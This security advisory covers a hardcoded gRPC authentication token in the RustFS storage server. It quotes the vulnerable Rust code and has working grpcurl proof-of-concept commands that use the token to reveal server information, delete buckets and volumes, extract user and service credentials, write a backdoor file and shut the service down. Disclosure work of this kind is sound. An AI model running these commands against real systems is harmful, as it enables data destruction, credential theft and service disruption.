RustFS implements gRPC authentication using a hardcoded static token "rustfs rpc" that is:
1. Publicly exposed in the source code repository
2. Hardcoded on both client and server sides
3. Non-configurable with no mechanism for token rotation
4. Universally valid across all RustFS deployments
Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.
#[allow(clippy::result_large_err)]
fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
let token: MetadataValue<_> = "rustfs rpc".parse().unwrap(); // ⚠️ HARDCODED!
match req.metadata().get("authorization") {
Some(t) if token == t => Ok(req),
_ => Err(Status::unauthenticated("No valid auth token")),
}
}
Issues: - Static token hardcoded as string literal - No configuration mechanism (environment variable, file, etc.) - Token visible in public GitHub repository - Identical across all installations
pub async fn node_service_time_out_client(
addr: &String,
) -> Result<NodeServiceClient<...>, Box<dyn Error>> {
let token: MetadataValue<_> = "rustfs rpc".parse()?; // ⚠️ SAME HARDCODED TOKEN!
// ...
Ok(NodeServiceClient::with_interceptor(
channel,
Box::new(move |mut req: Request<()>| {
req.metadata_mut().insert("authorization", token.clone());
Ok(req)
}),
))
}
Issues: - Client uses identical hardcoded token - No secure token distribution mechanism - Token cannot be rotated without code changes
let rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);
let service = hybrid(s3_service, rpc_service);
The check_auth interceptor is applied to all gRPC services via NodeServiceServer::with_interceptor, protecting all 50+ gRPC methods in node.proto with the same weak authentication.
Test Environment:
- RustFS Server: localhost:9000 (HTTP + gRPC hybrid service)
- RustFS Console: localhost:9001
- Container: rustfs/rustfs:latest (Docker Compose deployment)
- Default credentials: rustfsadmin/rustfsadmin
Tools Required:
- grpcurl v1.9.3+ (gRPC command-line client)
- RustFS proto files: crates/protos/src/node.proto
Test 1.1: Request without authentication token
$ grpcurl -plaintext \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/Ping
Expected Result: ✅ Authentication failure
ERROR:
Code: Unauthenticated
Message: No valid auth token
Test 1.2: Request with incorrect token
$ grpcurl -plaintext \
-H 'authorization: wrong-token-12345' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/Ping
Expected Result: ✅ Authentication failure
ERROR:
Code: Unauthenticated
Message: No valid auth token
Conclusion: Authentication is properly enforced - unauthorized requests are rejected.
Public Source Code Analysis:
$ git clone https://github.com/rustfs/rustfs.git
$ cd rustfs
$ grep -rn '"rustfs rpc"' --include='*.rs'
Result: ✅ Token found in public source code
rustfs/src/server/http.rs:680: let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();
crates/protos/src/lib.rs:153: let token: MetadataValue<_> = "rustfs rpc".parse()?;
Extracted Token: rustfs rpc
Test 3.1: Successful authentication with hardcoded token
$ grpcurl -plaintext \
-H 'authorization: rustfs rpc' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/Ping
Result: 🔓 AUTHENTICATION BYPASSED
{
"version": "1",
"body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA=="
}
Analysis: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.
Test 4.1: Server Configuration Disclosure
$ grpcurl -plaintext \
-H 'authorization: rustfs rpc' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/ServerInfo
Result: ✅ Complete server configuration disclosed
{
"success": true,
"serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA="
}
Analysis: - Server returned complete configuration including storage paths, endpoint addresses, version info - Binary data contains sensitive internal state (MessagePack encoded) - Information disclosure confirmed
Test 4.2: Disk Information Access
$ grpcurl -plaintext \
-H 'authorization: rustfs rpc' \
-import-path /private/tmp/rustfs/crates/protos/src \
-proto node.proto \
-d '{}' \
localhost:9000 node_service.NodeService/DiskInfo
Result: ✅ Authenticated request accepted (business logic error returned, not auth error)
{
"error": {
"code": 36,
"errorInfo": "io error can not find disk"
}
}
Analysis: - Request passed authentication (error is business logic, not authentication) - Proves attacker has authenticated access to sensitive system information APIs
All 50+ gRPC methods in node_service.NodeService are vulnerable:
DeleteBucket - Delete production bucketsDeleteVolume - Destroy entire storage volumesDeleteUser - Remove legitimate usersDeletePolicy - Remove access control policiesDeleteServiceAccount - Remove service accountsReloadSiteReplicationConfig - Corrupt cluster replicationSignalService - Control service lifecycleLoadPolicy - Modify access control policiesLoadPolicyMapping - Alter policy assignmentsReadAll / ReadAt - Read arbitrary dataWriteAll / WriteStream - Inject malicious dataRenameFile / RenameData - Manipulate file systemUpdateMetadata / WriteMetadata - Corrupt metadataLoadUser - Access user credentialsLoadServiceAccount - Access service credentialsLoadGroup - Access group membershipsServerInfo - Server configuration disclosureDiskInfo - Storage configuration disclosureGetMetrics - Performance metrics disclosureGetBucketStats - Bucket statistics disclosureLocalStorageInfo - Storage system informationListBucket - Bucket enumerationMakeBucket - Unauthorized bucket creationHealBucket - Trigger repair operationsBackgroundHealStatus - Monitor internal operations# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"options": "{}"}' \
localhost:9000 node_service.NodeService/ListBucket
# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"bucket": "production-data"}' \
localhost:9000 node_service.NodeService/DeleteBucket
# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"volume": "vol1"}' \
localhost:9000 node_service.NodeService/DeleteVolume
Impact: Complete data loss, business disruption
# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"access_key": "admin"}' \
localhost:9000 node_service.NodeService/LoadUser
# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"access_key": "service-account"}' \
localhost:9000 node_service.NodeService/LoadServiceAccount
# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"name": "admin-policy"}' \
localhost:9000 node_service.NodeService/LoadPolicy
Impact: Complete IAM compromise, lateral movement
# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
localhost:9000 node_service.NodeService/WriteAll
# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
localhost:9000 node_service.NodeService/WriteMetadata
Impact: Persistent compromise, further exploitation
# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{}' \
localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig
# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
-d '{"sig": 2}' \
localhost:9000 node_service.NodeService/SignalService
Impact: Distributed system failure, data inconsistency
✅ All conditions typically met in production deployments:
Network Access: Attacker can reach gRPC port (9000/TCP)
0.0.0.0 by default (all interfaces)Token Knowledge: Token is publicly known
No Additional Security Controls:
Complexity: 🟢 TRIVIAL
grpcurl command with hardcoded tokenTime to Exploit: < 1 minute
ReadAll/ReadAtWriteAll/WriteStreamWriteMetadataLoadPolicyDeleteBucket/DeleteVolumeSignalServiceReloadSiteReplicationConfigFile: audit_analysis/poc_cve_2025_008_grpc_token_working.sh
Usage:
chmod +x poc_cve_2025_008_grpc_token_working.sh
./poc_cve_2025_008_grpc_token_working.sh [target_host:port]
Default Target: localhost:9000
[PHASE 1] Baseline Testing
✓ Without token: REJECTED (Unauthenticated)
✓ With wrong token: REJECTED (Unauthenticated)
[PHASE 2] Exploit
✓ With hardcoded token "rustfs rpc": ACCEPTED ✅
[PHASE 3] Sensitive API Access
✓ ServerInfo: SUCCESS - Configuration disclosed
✓ DiskInfo: SUCCESS - System information accessible
[RESULT] VULNERABILITY CONFIRMED
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
{
"nvd_published_at": "2025-12-30T17:15:43Z",
"cwe_ids": [
"CWE-287",
"CWE-798"
],
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T23:06:15Z"
}